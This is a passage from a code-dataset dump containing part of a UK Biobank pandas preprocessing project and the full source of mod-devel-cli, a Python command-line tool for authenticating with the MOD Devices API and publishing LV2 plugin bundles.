dfa_lst=dfa[dfa.columns[dfa.columns.get_loc(str(icd))]].values.tolist()\n pre0=lst_ind(dfa_lst,str(key_code))\n\n gen_hes_name='hes_'+str(icd)+'_'+str(evnt)+str(key_code)\n gen_ind_name='ind_'+str(icd)+'_'+str(evnt)+str(key_code)\n\n dfa[str(gen_hes_name)]=pre0\n dfa[dfa.columns[dfa.columns.get_loc(str(gen_hes_name))]]=dfa[dfa.columns[dfa.columns.get_loc(str(gen_hes_name))]].apply(lambda y: np.nan if len(y)==0 else y )\n \n dfa[str(gen_ind_name)]=pre0\n dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]]=dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]].apply(lambda y: 0 if len(y)==0 else 1 )\n \n print('\\nHES '+str(icd)+' ',str(evnt)+'('+str(key_code)+')'+' count: '+str(dfa[dfa.columns[dfa.columns.get_loc(str(gen_hes_name))]].count())+',\\nFreq_tab \\n'+str(dfa[dfa.columns[dfa.columns.get_loc(str(gen_ind_name))]].value_counts()))\n dfb=dfa[['eid','record_id',str(gen_ind_name)]] \n \n if detail==True:\n return dfa\n else:\n return dfb\n\n\n\n\ndef hes_gen_ind_list(icd_in, hesin_dfin, key_code_list, evt, detai=False):\n \"\"\"\n return a dataframe that contains indicator variables for each specific 'key_code' in 'key_code_list'\n use 'detai= True' to get the detail matched codes info\n \"\"\"\n dfcl=[]\n if detai==False:\n for l in key_code_list:\n df_l=hes_gen_ind_raw(icd_in,hesin_dfin, l, str(evt), detail=False)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n\n if detai==True:\n for l in key_code_list:\n df_l=hes_gen_ind_raw(icd_in,hesin_dfin, l, str(evt), detail=True)\n dfcl.append(df_l)\n dfcl_merge=pd.concat(dfcl,axis=1)\n dfcl_merge=dfcl_merge.loc[:,~dfcl_merge.columns.duplicated()] # drop duplicated 'eid' columns\n return dfcl_merge\n\n \n\ndef hes_gen_event_ind_from_list(icd_var, hes_df, event_code_list):\n \"\"\"\n return a dataframe that contains indicator variables for each pair of event and its related ICD code from HES database\n\n \"\"\"\n df_pool=[]\n for lev1 in event_code_list:\n print('load event: '+ str(lev1[0]))\n for_event= lev1[0]\n for_code= lev1[1]\n #df_name= 'df_ind'+str(fid_int)+'_'+str(for_event)\n df_pool_element=hes_gen_ind_list(icd_in=icd_var,hesin_dfin=hes_df, evt=for_event, key_code_list=for_code)\n df_pool.append(df_pool_element)\n df_pooled=pd.concat(df_pool,axis=1)\n df_pooled=df_pooled.loc[:,~df_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n return df_pooled\n\n\ndef hes_gen_event_ind_from_multi_var(icd_var_list, hes_dfin, event_code_list,detail=False):\n \"\"\"\n return a dataframe that contains indicator variables for each event combined multiple icd measurements\n\n \"\"\"\n f_pool=[]\n for f in icd_var_list:\n print('\\n working on icd_var= '+str(f))\n f_pool_element= hes_gen_event_ind_from_list(icd_var=f, hes_df=hes_dfin, event_code_list=event_code_list)\n f_pool.append(f_pool_element)\n f_pooled= pd.concat(f_pool,axis=1)\n f_pooled=f_pooled.loc[:,~f_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n \n if detail==True:\n return f_pooled\n \n if detail==False:\n ind_pool=[]\n for e in event_code_list:\n event=e[0]\n df_pre=f_pooled.filter(regex=event)\n ind_name='hes_icd_ind_'+str(event)\n leid=f_pooled.eid\n lrec=f_pooled.record_id\n ind_sum=df_pre.sum(axis=1)\n df_e=pd.DataFrame({'eid':leid,'record_id':lrec,ind_name:ind_sum})\n df_e[ind_name]=df_e[ind_name].apply(lambda y: 1 if y>0 else y)\n df_e=df_e.loc[:,~df_e.columns.duplicated()] # drop duplicated 'eid' columns\n ind_pool.append(df_e)\n ind_pooled= pd.concat(ind_pool,axis=1)\n ind_pooled=ind_pooled.loc[:,~ind_pooled.columns.duplicated()] # drop duplicated 'eid' columns\n return ind_pooled \n \n\n" }, { "alpha_fraction": 0.7299771308898926, "alphanum_fraction": 0.7459954023361206, "avg_line_length": 24.705883026123047, "blob_id": "93ab52b6f9741cf0d488eb04924f6ed103aba55a", "content_id": "9a6a1afe600d0d991b50f933a49bd971f90ab91f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 437, "license_type": "no_license", "max_line_length": 89, "num_lines": 17, "path": "/README.md", "repo_name": "postincredible/ukbb", "src_encoding": "UTF-8", "text": "# UKBB project\n\nComponents in this project:\n\n1) Preprocessing ukbb standard and HES data\n \n a) load data by vairable and restructure the raw dataframe into workable dataframe\n \n b) check variable of interests based on variables' description and save into 'csv' file\n \n c) ICD9/10 code scan\n\n2) Generate target population\n \n a) get type 2 diabetes (T2D) target population \n \n b) get rheumatoid arthritis (RA) target population\n" }, { "alpha_fraction": 0.5832856297492981, "alphanum_fraction": 0.6021751761436462, "avg_line_length": 36.9782600402832, "blob_id": "39a675bd1e4715207dd3f51ff239f20746976758", "content_id": "155d2fe699067deba4dc63452e46926dd25cf16d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1747, "license_type": "no_license", "max_line_length": 134, "num_lines": 46, "path": "/ukbb_ldbf.py", "repo_name": "postincredible/ukbb", "src_encoding": "UTF-8", "text": "import os\nimport pandas as pd\nimport numpy as np\n\ndef load_data_by_fid(fid):\n '''\n return a dataframe that has the eid and the 'fid' variable \n '''\n df_tab1_i0_comp=pd.read_csv('/temp_project/ukbb/data/i0/ukb22598_i0_comp.csv')\n\n if int(fid) in df_tab1_i0_comp.fid.values.tolist():\n fid_num=fid\n \n var_description = df_tab1_i0_comp[df_tab1_i0_comp['fid']==int(fid_num)].Description.values[0]\n var_type=df_tab1_i0_comp[df_tab1_i0_comp['fid']==int(fid_num)].Type.values[0]\n\n var_type_list=['con','cur','dat','int','tex','tim','cas','cam']\n var_type_list_full=['Continuous','Curve','Date','Integer','Text','Time','Categorical (single)', 'Categorical (multiple)']\n\n path_p1='/temp_project/ukbb/data/i0/var_'\n\n if var_type in var_type_list_full:\n vtyp=var_type_list[var_type_list_full.index(var_type)]\n\n loadpath=path_p1+str(vtyp)+'/'\n os.chdir(path_p1+str(vtyp))\n list_folder=os.listdir() \n\n pname1=str(vtyp)+str(fid_num)+'i0.csv'\n pname2='vec_'+str(vtyp)+str(fid_num)+'i0.csv'\n\n if pname1 in list_folder:\n\n print('fid ' + str(fid_num) + ' is a single-measure '+str(var_type).lower()+' variable, which is \\n'+str(var_description))\n fpname=list_folder[list_folder.index(pname1)]\n df_load=pd.read_csv(loadpath+fpname)\n\n elif pname2 in list_folder:\n\n print('fid ' + str(fid_num) + ' is a single-measure '+str(var_type).lower()+' variable, which is \\n'+str(var_description))\n fpname=list_folder[list_folder.index(pname2)]\n df_load=pd.read_csv(loadpath+fpname, sep='\\t')\n return df_load\n \n else:\n print('fid not found, please try again')\n" } ]
3
moddevices/mod-devel-cli
https://github.com/moddevices/mod-devel-cli
c53e956dc51d7eb16be8c7d92ea4c17e0637c250
fd4a6797ea5107be358382990795828fea21f8f8
7558b9fbdf20e209701c0bf48fd0a06ae355790d
refs/heads/master
2022-11-23T07:54:35.488553
2022-11-16T22:13:30
2022-11-16T22:15:08
56,206,872
3
2
null
2016-04-14T04:20:26
2020-07-06T11:59:15
2020-09-10T00:29:54
Python
[ { "alpha_fraction": 0.6565811634063721, "alphanum_fraction": 0.6596486568450928, "avg_line_length": 35.591835021972656, "blob_id": "66a40f9a7941231987a90219ba7724cb914ddcd0", "content_id": "5524632671a6a43b11b36d5a5d797ca7bbd4c225", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7172, "license_type": "no_license", "max_line_length": 118, "num_lines": 196, "path": "/modcli/cli.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import click\nimport crayons\n\nfrom modcli import context, auth, __version__, bundle\n\n_sso_disclaimer = '''SSO login requires you have a valid account in MOD Forum (https://forum.moddevices.com).\nIf your browser has an active session the credentials will be used for this login. Confirm?'''\n\n\n@click.group(context_settings=dict(help_option_names=['-h', '--help']))\n@click.version_option(prog_name='modcli', version=__version__)\ndef main():\n pass\n\n\n@click.group(name='auth', help='Authentication commands')\ndef auth_group():\n pass\n\n\n@click.group(name='bundle', help='LV2 bundle commands')\ndef bundle_group():\n pass\n\n\n@click.group(name='config', help='Configuration commands')\ndef config_group():\n pass\n\n\n@click.command(help='Authenticate user with SSO (MOD Forum)')\n@click.option('-s', '--show-token', type=bool, help='Print the JWT token obtained', is_flag=True)\n@click.option('-o', '--one-time', type=bool, help='Only print token once (do not store it)', is_flag=True)\n@click.option('-y', '--confirm-all', type=bool, help='Confirm all operations', is_flag=True)\n@click.option('-d', '--detached-mode', type=bool, help='Run process without opening a local browser', is_flag=True)\n@click.option('-e', '--env_name', type=str, help='Switch to environment before authenticating')\ndef login_sso(show_token: bool, one_time: bool, confirm_all: bool, detached_mode: bool, env_name: str):\n if env_name:\n context.set_active_env(env_name)\n env = context.current_env()\n if not confirm_all:\n response = click.confirm(_sso_disclaimer)\n if not response:\n exit(1)\n if not one_time:\n click.echo('Logging in to [{0}]...'.format(env.name))\n\n try:\n if detached_mode:\n token = auth.login_sso_detached(env.api_url)\n else:\n token = auth.login_sso(env.api_url)\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n\n if not one_time:\n env.set_token(token)\n context.save()\n\n if show_token or one_time:\n print(token.strip())\n else:\n click.echo(crayons.green('You\\'re now logged in as [{0}] in [{1}].'.format(env.username, env.name)))\n\n\n@click.command(help='Authenticate user')\n@click.option('-u', '--username', type=str, prompt=True, help='User ID')\n@click.option('-p', '--password', type=str, prompt=True, hide_input=True, help='User password')\n@click.option('-s', '--show-token', type=bool, help='Print the JWT token obtained', is_flag=True)\n@click.option('-o', '--one-time', type=bool, help='Only print token once (do not store it)', is_flag=True)\n@click.option('-e', '--env_name', type=str, help='Switch to environment before authenticating')\ndef login(username: str, password: str, show_token: bool, one_time: bool, env_name: str):\n if env_name:\n context.set_active_env(env_name)\n env = context.current_env()\n if not one_time:\n click.echo('Logging in to [{0}]...'.format(env.name))\n try:\n token = auth.login(username, password, env.api_url)\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n\n if not one_time:\n env.set_token(token)\n context.save()\n\n if show_token or one_time:\n print(token.strip())\n else:\n click.echo(crayons.green('You\\'re now logged in as [{0}] in [{1}].'.format(username, env.name)))\n\n\n@click.command(help='Remove all tokens and reset context data')\ndef clear_context():\n try:\n context.clear()\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n click.echo(crayons.green('Context cleared'))\n\n\n@click.command(help='Show current active access JWT token')\n@click.option('-e', '--env_name', type=str, help='Show current active token from a specific environment')\ndef active_token(env_name: str):\n if env_name:\n context.set_active_env(env_name)\n token = context.active_token()\n if not token:\n click.echo(crayons.red('You must authenticate first.'), err=True)\n click.echo('Try:\\n $ modcli auth login')\n exit(1)\n return\n\n click.echo(token)\n\n\n@click.command(help='Set active environment, where ENV_NAME is the name')\n@click.argument('env_name')\ndef set_active_env(env_name: str):\n try:\n context.set_active_env(env_name)\n context.save()\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n\n click.echo(crayons.green('Current environment set to: {0}'.format(env_name)))\n\n\n@click.command(help='Add new environment, where ENV_NAME is the name, API_URL '\n 'and BUNDLE_URL are the API entry points')\n@click.argument('env_name')\n@click.argument('api_url')\n@click.argument('bundle_url')\ndef add_env(env_name: str, api_url: str, bundle_url: str):\n try:\n context.add_env(env_name, api_url, bundle_url)\n context.set_active_env(env_name)\n context.save()\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n\n click.echo(crayons.green('Environment [{0}] added and set as active'.format(env_name)))\n\n\n@click.command(help='List current configuration', name='list')\ndef list_config():\n env = context.current_env()\n click.echo('Active environment: {0}'.format(env.name))\n click.echo('Authenticated in [{0}]: {1}'.format(env.name, 'Yes' if env.token else 'No'))\n click.echo('Registered environments: {0}'.format(list(context.environments.keys())))\n\n\n@click.command(help='Publish LV2 bundles, where PROJECT_FILE points to the buildroot project descriptor file (JSON)')\n@click.argument('project_file')\n@click.option('-p', '--packages-path', type=str, help='Path to buildroot package')\n@click.option('-s', '--show-result', type=bool, help='Print pipeline process result', is_flag=True)\n@click.option('-k', '--keep-environment', type=bool, help='Don\\'t remove build environment after build', is_flag=True)\n@click.option('-r', '--rebuild', type=bool, help='Don\\'t increment release number, just rebuild', is_flag=True)\n@click.option('-e', '--env', type=str, help='Environment where the bundles will be published')\n@click.option('-f', '--force', type=bool, help='Don\\'t ask for confirmation', is_flag=True)\ndef publish(project_file: str, packages_path: str, show_result: bool, keep_environment: bool,\n rebuild: bool, env: str, force: bool):\n try:\n bundle.publish(project_file, packages_path, show_result=show_result,\n keep_environment=keep_environment, rebuild=rebuild, env_name=env, force=force)\n except Exception as ex:\n click.echo(crayons.red(str(ex)), err=True)\n exit(1)\n return\n\n\nauth_group.add_command(active_token)\nauth_group.add_command(login)\nauth_group.add_command(login_sso)\nbundle_group.add_command(publish)\nconfig_group.add_command(add_env)\nconfig_group.add_command(set_active_env)\nconfig_group.add_command(list_config)\nconfig_group.add_command(clear_context)\nmain.add_command(auth_group)\nmain.add_command(bundle_group)\nmain.add_command(config_group)\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6463414430618286, "alphanum_fraction": 0.6829268336296082, "avg_line_length": 15.399999618530273, "blob_id": "2164dd97360a2cc6bddf155bc17bdbd4adb5576d", "content_id": "2761a7f3bb83b7c3325984a80b1e476daa077242", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 82, "license_type": "no_license", "max_line_length": 31, "num_lines": 5, "path": "/modcli/__init__.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "from modcli import config\n\n__version__ = '1.1.3'\n\ncontext = config.read_context()\n" }, { "alpha_fraction": 0.6405063271522522, "alphanum_fraction": 0.6455696225166321, "avg_line_length": 16.954545974731445, "blob_id": "fbb57b1506bf8fcdd1c5d993a32fa3e2a6fbfa5e", "content_id": "00fab2af7ead0930af3b958ee9a23eb5590de628", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 395, "license_type": "no_license", "max_line_length": 64, "num_lines": 22, "path": "/README.md", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "# mod-devel-cli\n\n## Installation\n\nRun:\n\n pip3 install git+https://github.com/moddevices/mod-devel-cli\n \n## Usage\n\n```\nUsage: modcli [OPTIONS] COMMAND [ARGS]...\n\nOptions:\n --version Show the version and exit.\n -h, --help Show this message and exit.\n\nCommands:\n auth Authentication commands\n bundle LV2 bundle commands\n config Configuration commands\n```\n" }, { "alpha_fraction": 0.5343283414840698, "alphanum_fraction": 0.5492537021636963, "avg_line_length": 23.512195587158203, "blob_id": "54880849ebd8e5a5f3e629494fb743247903e21b", "content_id": "143774a2eef8b6b4c9ac4941d91a887b493d7b48", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1005, "license_type": "no_license", "max_line_length": 100, "num_lines": 41, "path": "/setup.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import re\nimport sys\n\nfrom setuptools import setup\n\nwith open('modcli/__init__.py', 'r') as fh:\n version = re.search(r'^__version__\\s*=\\s*[\\'\"]([^\\'\"]*)[\\'\"]', fh.read(), re.MULTILINE).group(1)\n\nif sys.version_info[0] < 3:\n raise Exception(\"Must be using Python 3\")\n\nsetup(\n name='mod-devel-cli',\n python_requires='>=3',\n version=version,\n description='MOD Command Line Interface',\n author='Alexandre Cunha',\n author_email='alex@moddevices.com',\n license='Proprietary',\n install_requires=[\n 'click==6.7',\n 'crayons==0.1.2',\n 'requests>=2.18.4',\n ],\n packages=[\n 'modcli',\n ],\n entry_points={\n 'console_scripts': [\n 'modcli = modcli.cli:main',\n ]\n },\n classifiers=[\n 'Intended Audience :: Developers',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n ],\n url='http://moddevices.com/',\n)\n" }, { "alpha_fraction": 0.6575342416763306, "alphanum_fraction": 0.664383590221405, "avg_line_length": 35.5, "blob_id": "776bc482a248625bcc5d0db96ee1453dc42d4ade", "content_id": "42e984f502cc79b6a501072ca4d09f519bf881a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 292, "license_type": "no_license", "max_line_length": 99, "num_lines": 8, "path": "/modcli/settings.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import os\n\nCONFIG_DIR = os.path.expanduser('~/.config/modcli')\nURLS = {\n 'labs': ('https://api-labs.moddevices.com/v2', 'https://pipeline-labs.moddevices.com/bundle/'),\n 'dev': ('https://api-dev.moddevices.com/v2', 'https://pipeline-dev.moddevices.com/bundle/'),\n}\nDEFAULT_ENV = 'labs'\n" }, { "alpha_fraction": 0.5870665907859802, "alphanum_fraction": 0.5897935628890991, "avg_line_length": 31.493671417236328, "blob_id": "ac69a3c8f9c2e1ede2e3604abf88c6db9796ef29", "content_id": "c61ff4acce3bc2af7672b69bbd91b279d2ad6370", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5134, "license_type": "no_license", "max_line_length": 100, "num_lines": 158, "path": "/modcli/config.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import base64\nimport json\nimport os\nimport stat\n\nimport re\n\nfrom modcli import settings\nfrom modcli.utils import read_json_file\n\n\ndef read_context():\n context = CliContext.read(settings.CONFIG_DIR)\n if len(context.environments) == 0:\n for env_name, urls in settings.URLS.items():\n context.add_env(env_name, urls[0], urls[1])\n context.set_active_env(settings.DEFAULT_ENV)\n context.save()\n return context\n\n\ndef clear_context():\n CliContext.clear(settings.CONFIG_DIR)\n\n\ndef _write_file(path: str, data: str, remove_existing: bool=True):\n # create dir if doesn't exist\n dirname = os.path.dirname(path)\n if not os.path.isdir(dirname):\n os.makedirs(dirname, exist_ok=True)\n # remove previous file\n if remove_existing:\n if os.path.isfile(path):\n os.remove(path)\n # write json file\n with os.fdopen(os.open(path, os.O_WRONLY | os.O_CREAT, stat.S_IRUSR | stat.S_IWUSR), 'w') as fh:\n fh.write(data)\n fh.writelines(os.linesep)\n\n\ndef _write_json_file(path: str, data: dict, remove_existing: bool=True):\n _write_file(path, json.dumps(data, indent=4), remove_existing)\n\n\ndef _remove_file(path: str):\n if os.path.isfile(path):\n os.remove(path)\n\n\nclass CliContext(object):\n _filename = 'context.json'\n _access_token_filename = 'access_token'\n\n @staticmethod\n def read(path: str):\n context = CliContext(path)\n data = read_json_file(os.path.join(path, CliContext._filename))\n if not data:\n return context\n for env_data in data['environments']:\n context.add_env(env_data['name'], env_data['api_url'], env_data['bundle_url'])\n env = context.environments[env_data['name']]\n env.username = env_data['username']\n env.token = env_data['token']\n env.exp = env_data['exp']\n context.set_active_env(data['active_env'])\n return context\n\n def __init__(self, path: str):\n self._path = path\n self._active_env = ''\n self.environments = {}\n\n def _ensure_env(self, env_name: str):\n if env_name not in self.environments:\n raise Exception('Environment {0} doen\\'t exist'.format(env_name))\n\n def set_active_env(self, env_name: str):\n if not env_name:\n self._active_env = ''\n else:\n self._ensure_env(env_name)\n self._active_env = env_name\n\n def add_env(self, env_name: str, api_url: str, bundle_url: str):\n if not env_name:\n raise Exception('Environment name is invalid')\n if env_name in self.environments:\n raise Exception('Environment {0} already exists'.format(env_name))\n if not re.match('https?://.*', api_url):\n raise Exception('Invalid api_url: {0}'.format(api_url))\n if not re.match('https?://.*', bundle_url):\n raise Exception('Invalid api_url: {0}'.format(bundle_url))\n\n self.environments[env_name] = EnvSettings(env_name, api_url, bundle_url)\n\n def remove_env(self, env_name: str):\n self._ensure_env(env_name)\n del self.environments[env_name]\n\n def active_token(self):\n return self.current_env().token\n\n def current_env(self):\n if not self._active_env:\n raise Exception('Not environment has been set')\n return self.environments[self._active_env]\n\n def get_env(self, env_name: str=None):\n if not env_name:\n return self.current_env()\n self._ensure_env(env_name)\n return self.environments[env_name]\n\n def save(self):\n data = {\n 'active_env': self._active_env,\n 'environments': list({\n 'name': e.name,\n 'api_url': e.api_url,\n 'bundle_url': e.bundle_url,\n 'username': e.username,\n 'token': e.token,\n 'exp': e.exp,\n } for e in self.environments.values())\n }\n _write_json_file(os.path.join(self._path, CliContext._filename), data)\n active_token = self.active_token()\n if active_token:\n _write_file(os.path.join(self._path, CliContext._access_token_filename), active_token)\n else:\n _remove_file(os.path.join(self._path, CliContext._access_token_filename))\n\n def clear(self):\n _remove_file(os.path.join(self._path, CliContext._filename))\n _remove_file(os.path.join(self._path, CliContext._access_token_filename))\n self.environments.clear()\n\n\nclass EnvSettings(object):\n\n def __init__(self, name: str, api_url: str, bundle_url: str):\n self.name = name\n self.api_url = api_url.rstrip('/')\n self.bundle_url = bundle_url.rstrip('/')\n self.username = ''\n self.token = ''\n self.exp = ''\n\n def set_token(self, token: str):\n _, payload, _ = token.split('.')\n payload_data = json.loads(base64.b64decode(payload + '===').decode())\n username = payload_data['user_id']\n exp = payload_data.get('exp', None)\n\n self.username = username\n self.token = token\n self.exp = exp\n" }, { "alpha_fraction": 0.6076666712760925, "alphanum_fraction": 0.6179999709129333, "avg_line_length": 31.25806427001953, "blob_id": "fd5c10f8760ce882ce5e2cf299eef001fe0fa932", "content_id": "b65e9fa822dcba509ba92dc3dde933eeb42071d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3000, "license_type": "no_license", "max_line_length": 103, "num_lines": 93, "path": "/modcli/auth.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import socket\nimport webbrowser\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom urllib import parse\n\nimport click\nimport requests\nfrom click import Abort\n\nfrom modcli import __version__\n\n\ndef login(username: str, password: str, api_url: str):\n result = requests.post('{0}/users/tokens'.format(api_url), json={\n 'user_id': username,\n 'password': password,\n 'agent': 'modcli:{0}'.format(__version__),\n })\n if result.status_code != 200:\n raise Exception('Error: {0}'.format(result.json()['error-message']))\n return result.json()['message'].strip()\n\n\ndef get_open_port():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind((\"\", 0))\n s.listen(1)\n port = s.getsockname()[1]\n s.close()\n return port\n\n\ndef login_sso_detached(api_url: str):\n click.echo('Running in detached mode...')\n click.echo('1) Open this url in any browser: {0}'.format('{0}/users/tokens_sso'.format(api_url)))\n click.echo('2) The URL will automatically redirect to MOD Forum (https://forum.moddevices.com)')\n click.echo('3) Once MOD Forum page loads, if asked, enter your credentials or register a new user')\n click.echo('4) A JWT token will be displayed in your browser')\n try:\n token = click.prompt('Copy the token value and paste it here, then press ENTER')\n return token.strip()\n except Abort:\n exit(1)\n\n\ndef login_sso(api_url: str):\n server_host = 'localhost'\n server_port = get_open_port()\n local_server = 'http://{0}:{1}'.format(server_host, server_port)\n\n class SSORequestHandler(BaseHTTPRequestHandler):\n token = ''\n\n def do_HEAD(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n\n def do_GET(self):\n response = self.handle_http(200)\n _, _, _, query, _ = parse.urlsplit(self.path)\n result = parse.parse_qs(query)\n tokens = result.get('token', None)\n SSORequestHandler.token = tokens[0] if len(tokens) > 0 else None\n self.wfile.write(response)\n\n def handle_http(self, status_code):\n self.send_response(status_code)\n self.send_header('Content-type', 'text/html')\n self.end_headers()\n content = '''\n <html><head><title>modcli - success</title></head>\n <body>Authentication successful! This browser window can be closed.</body></html>\n '''\n return bytes(content, 'UTF-8')\n\n def log_message(self, format, *args):\n pass\n\n httpd = HTTPServer((server_host, server_port), SSORequestHandler)\n httpd.timeout = 30\n\n webbrowser.open('{0}/users/tokens_sso?local_url={1}'.format(api_url, local_server))\n\n try:\n httpd.handle_request()\n except KeyboardInterrupt:\n pass\n\n token = SSORequestHandler.token\n if not token:\n raise Exception('Authentication failed!')\n return token\n" }, { "alpha_fraction": 0.6282764077186584, "alphanum_fraction": 0.6366163492202759, "avg_line_length": 43.175437927246094, "blob_id": "e47e449c7b31c450b35a5cdf322454bb8678a485", "content_id": "f1f12c5074b044a95f3adc4e19bceca5be8e6ad7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5036, "license_type": "no_license", "max_line_length": 119, "num_lines": 114, "path": "/modcli/bundle.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import os\nimport shutil\nimport subprocess\nimport tempfile\nfrom hashlib import md5\n\nimport click\nimport crayons\nimport requests\n\nfrom modcli import context\nfrom modcli.utils import read_json_file\n\n\ndef publish(project_file: str, packages_path: str, keep_environment: bool=False, bundles: list=None,\n show_result: bool=False, rebuild: bool=False, env_name: str=None, force: bool=False):\n project_file = os.path.realpath(project_file)\n packages_path = os.path.realpath(packages_path) if packages_path else None\n\n env = context.get_env(env_name)\n if not env.token:\n raise Exception('You must authenticate first')\n\n if not os.path.isfile(project_file):\n raise Exception('File {0} not found or not a valid file'.format(project_file))\n\n if packages_path:\n if not os.path.isdir(packages_path):\n raise Exception('Packages path {0} not found'.format(packages_path))\n else:\n packages_path = os.path.dirname(project_file)\n\n project = os.path.split(project_file)[1]\n if not force and not click.confirm('Project {0} will be compiled and published in [{1}], '\n 'do you confirm?'.format(crayons.green(project), crayons.green(env.name))):\n raise Exception('Cancelled')\n\n process = read_json_file(project_file)\n\n # setting up process data\n if keep_environment:\n process['keep_environment'] = True\n process['rebuild'] = rebuild\n buildroot_pkg = process.pop('buildroot_pkg', None)\n mk_filename = '{0}.mk'.format(buildroot_pkg)\n if not buildroot_pkg:\n raise Exception('Missing buildroot_pkg in project file')\n if bundles:\n process['bundles'] = [b for b in process['bundles'] if b['name'] in bundles]\n if not process['bundles']:\n raise Exception('Could not match any bundle from: {0}'.format(bundles))\n\n # find buildroot_pkg under packages_path\n mk_path = next((i[0] for i in os.walk(packages_path) if mk_filename in i[2]), None)\n if not mk_path:\n raise Exception('Could not find buildroot mk file for package {0} in {1}'.format(buildroot_pkg, packages_path))\n basename = os.path.basename(mk_path)\n if basename != buildroot_pkg:\n raise Exception('The package folder containing the .mk file has to be named {0}'.format(buildroot_pkg))\n pkg_path = os.path.dirname(mk_path)\n\n work_dir = tempfile.mkdtemp()\n try:\n package = '{0}.tar.gz'.format(buildroot_pkg)\n source_path = os.path.join(work_dir, package)\n try:\n subprocess.check_output(\n ['tar', 'zhcf', source_path, buildroot_pkg], stderr=subprocess.STDOUT, cwd=os.path.join(pkg_path)\n )\n except subprocess.CalledProcessError as ex:\n raise Exception(ex.output.decode())\n\n click.echo('Submitting release process for project {0} using file {1}'.format(project_file, package))\n click.echo('URL: {0}'.format(env.bundle_url))\n\n headers = {'Authorization': 'MOD {0}'.format(env.token)}\n\n result = requests.post('{0}/'.format(env.bundle_url), json=process, headers=headers)\n if result.status_code == 401:\n raise Exception('Invalid token - please authenticate (see \\'modcli auth\\')')\n elif result.status_code != 200:\n raise Exception('Error: {0}'.format(result.text))\n release_process = result.json()\n\n click.echo('Release process created: {0}'.format(release_process['id']))\n click.echo('Uploading buildroot package {0} ...'.format(package))\n with open(source_path, 'rb') as fh:\n data = fh.read()\n headers = {'Content-Type': 'application/octet-stream'}\n result = requests.post(release_process['source-href'], data=data, headers=headers)\n if result.status_code == 401:\n raise Exception('Invalid token - please authenticate (see \\'modcli auth\\')')\n elif result.status_code != 201:\n raise Exception('Error: {0}'.format(result.text))\n checksum = result.text.lstrip('\"').rstrip('\"')\n\n result_checksum = md5(data).hexdigest()\n if checksum == result_checksum:\n click.echo('Checksum match ok!')\n else:\n raise Exception('Checksum mismatch: {0} <> {1}'.format(checksum, result_checksum))\n finally:\n click.echo('Cleaning up...')\n shutil.rmtree(work_dir, ignore_errors=True)\n\n release_process_url = release_process['href']\n click.echo(crayons.blue('Process url: {0}?pretty=true'.format(release_process_url)))\n click.echo(crayons.green('Done'))\n if show_result:\n click.echo('Retrieving release process from {0} ...'.format(release_process_url))\n release_process_full = requests.get('{0}?pretty=true'.format(release_process_url)).text\n click.echo(crayons.blue('================ Release Process {0} ================'.format(release_process['id'])))\n click.echo(release_process_full)\n click.echo(crayons.blue('================ End Release Process ================'))\n" }, { "alpha_fraction": 0.6157635450363159, "alphanum_fraction": 0.6157635450363159, "avg_line_length": 19.299999237060547, "blob_id": "e6b41da13b270103ca90268cef9c87a680d561cc", "content_id": "48ab515f6f820857d54f62fff579cca247884829", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 203, "license_type": "no_license", "max_line_length": 33, "num_lines": 10, "path": "/modcli/utils.py", "repo_name": "moddevices/mod-devel-cli", "src_encoding": "UTF-8", "text": "import json\nimport os\n\n\ndef read_json_file(path: str):\n if not os.path.isfile(path):\n return {}\n with open(path, 'r') as file:\n contents = file.read()\n return json.loads(contents)\n" } ]
9
sholong/utils_script
https://github.com/sholong/utils_script
a831a63880b1a54bebe89eae0a895d2df8c11d10
75f9846a62567421ce45eb573889bf77f040f03b
ac140d31dbad4207d5ff5243429a1c865c9dae5f
refs/heads/master
2020-05-29T11:37:13.724768
2016-05-12T04:57:31
2016-05-12T04:57:31
null
0
0
null
null
null
null
null
